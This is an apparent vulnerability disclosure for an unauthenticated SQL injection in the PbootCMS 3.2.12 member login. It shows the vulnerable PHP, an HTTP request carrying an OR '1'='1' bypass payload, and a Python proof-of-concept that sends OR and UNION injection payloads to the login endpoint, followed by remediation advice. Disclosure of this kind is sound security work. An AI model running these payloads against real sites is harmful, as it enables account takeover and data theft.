Submit #773900: 翱云科技 PbootCMS 3.2.12 SQL Injection

VULN-01: PbootCMS 3.2.12 Member Login SQL Injection
Title
PbootCMS 3.2.12 Member Login SQL Injection Allows Unauthenticated Authentication Bypass

Product
PbootCMS

Affected Version
3.2.12

Vulnerability Type
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Severity
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Base Score: 9.8
Overview
The frontend member login flow inserts the username parameter into SQL conditions without parameterized queries or safe escaping. A remote unauthenticated attacker can exploit this flaw to bypass authentication and log in as an arbitrary frontend member account.

Audit Methodology
The issue was identified through static code review and validated through controlled dynamic testing in a local Docker environment using PHP 7.4, Apache, and SQLite.

Audit Workflow
Reviewed apps/home/controller/MemberController.php.
Identified post('username') as attacker-controlled input.
Traced the value into checkUsername() and login().
Followed the call chain into apps/home/model/MemberModel.php and core/basic/Model.php.
Confirmed direct concatenation of string-based where() conditions into SQL.
Reviewed the input filtering path and confirmed the absence of parameter binding and SQL escaping.
Executed SQL injection payloads against the login endpoint to validate exploitability.
Affected Code Locations
File: apps/home/controller/MemberController.php

$username = post('username');

if (! $this->model->checkUsername("username='$username' or useremail='$username' or usermobile='$username'")) {
alert_back('用户账号不存在！');
}

if (! ! $login = $this->model->login("(username='$username' or useremail='$username' or usermobile='$username') AND password='$password'")) {
File: apps/home/model/MemberModel.php

public function checkUsername($where)
{
return parent::table('ay_member')->where($where)->find();
}
File: core/basic/Model.php

} else {
$this->sql['where'] .= $where . ')';
}
Root Cause
User-controlled input is concatenated directly into SQL conditions. The application relies on raw string query construction instead of prepared statements, and the existing input filter does not provide SQL-safe escaping.

Reproduction Steps
Deploy PbootCMS 3.2.12.
Ensure at least one frontend member account exists.
Send the following request:
POST /member/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin' OR '1'='1' -- &password=anything&checkcode=xxxx
Observe that the response returns a successful login result or the member center page.
Embedded PoC Script
Source: security_poc/register_and_sqli.py

# -*- coding: utf-8 -*-
"""Register a member, then test SQL injection login bypass"""
import requests

BASE = "http://localhost:8888"
S = requests.Session()
S.proxies = {"http": None, "https": None}
S.trust_env = False
S.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

def sep(title):
print("\n" + "=" * 64)
print(f" {title}")
print("=" * 64)

sep("Step 1: Register a test member")
reg_url = f"{BASE}/index.php?member/register"
reg_data = {
"username": "testuser001",
"password": "Test123456",
"rpassword": "Test123456",
"checkcode": "",
}
r = S.post(reg_url, data=reg_data, timeout=10)
print(f"Register: HTTP {r.status_code}")
print(f"Response: {r.text[:200]}")

sep("Step 2: Verify normal login works")
login_url = f"{BASE}/index.php?member/login"
r2 = S.post(login_url, data={"username": "testuser001", "password": "Test123456", "checkcode": ""}, timeout=10)
print(f"Normal login: HTTP {r2.status_code}")
print(f"Response: {r2.text[:200]}")

sep("Step 3: SQL Injection Test")
payloads = [
("OR bypass with comment", "' OR '1'='1' -- ", "anything"),
("OR bypass inline", "' OR '1'='1", "anything"),
("UNION bypass", "' UNION SELECT 1,1,1,'a',1,1,1,1,1,1 -- ", "anything"),
]

for name, user, pwd in payloads:
print(f"\n[*] Payload: {name}")
r = S.post(login_url, data={"username": user, "password": pwd, "checkcode": ""}, timeout=10)
print(f"HTTP {r.status_code}")
print(r.text[:200])
Impact
Unauthenticated login as arbitrary frontend users
Access to protected member data and functionality
Potential account takeover and downstream abuse
Remediation
Replace string-based SQL construction with prepared statements
Enforce parameter binding for all login-related database operations
Review all raw string-based where() usage across the codebase

• Source: ⚠️ https://github.com/zzj-create/cvetest/blob/main/VULN-01_MEMBER_LOGIN_SQLI_REPORT_EN.md
• User: zmjjkk (UID 96182)
• Submission: 03/06/2026 12:38 (3 months ago)
• Moderation: 03/20/2026 15:26 (14 days later)
• Status: Accepted
• VulDB entry: 352074 [PbootCMS up to 3.2.12 Member Login MemberController.php checkUsername sql injection]
• Points: 20